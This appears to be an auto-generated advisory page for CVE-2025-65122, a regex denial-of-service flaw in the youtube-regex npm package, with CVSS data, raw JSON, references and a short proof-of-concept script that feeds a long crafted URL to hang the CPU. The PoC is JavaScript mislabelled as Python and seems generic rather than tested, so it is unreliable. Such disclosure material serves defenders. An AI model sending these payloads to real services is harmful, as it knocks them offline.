Security Vulnerability Report
中文
CVE-2025-65122 CVSS 7.5 HIGH

CVE-2025-65122

Published: 2026-05-07 16:16:18
Last Modified: 2026-05-07 18:50:21

Description

Regex Denial of Service in youtube-regex npm package through version 1.0.5.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

youtube-regex <= 1.0.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// Proof of Concept for CVE-2025-65122 (ReDoS in youtube-regex) // This script demonstrates the denial of service vulnerability. const youtubeRegex = require('youtube-regex'); // Construct a malicious payload that triggers catastrophic backtracking. // A long string of repeated characters often breaks poorly defined regex. const maliciousInput = 'http://youtube.com/watch?v=' + 'a'.repeat(1000) + '!'; console.log('Testing with payload length:', maliciousInput.length); const start = Date.now(); // This regex operation will hang the CPU due to ReDoS const isMatch = youtubeRegex.test(maliciousInput); const duration = Date.now() - start; console.log(`Match result: ${isMatch}`); console.log(`Time taken: ${duration}ms`); // Expected result: High CPU usage and significant time delay.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65122", "sourceIdentifier": "[email protected]", "published": "2026-05-07T16:16:17.810", "lastModified": "2026-05-07T18:50:20.783", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Regex Denial of Service in youtube-regex npm package through version 1.0.5."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "references": [{"url": "https://gist.github.com/6en6ar/66ef99397068c0a5e0d963bc47d7172c", "source": "[email protected]"}, {"url": "https://github.com/regexhq/youtube-regex/issues/14", "source": "[email protected]"}, {"url": "https://github.com/regexhq/youtube-regex/issues/14", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}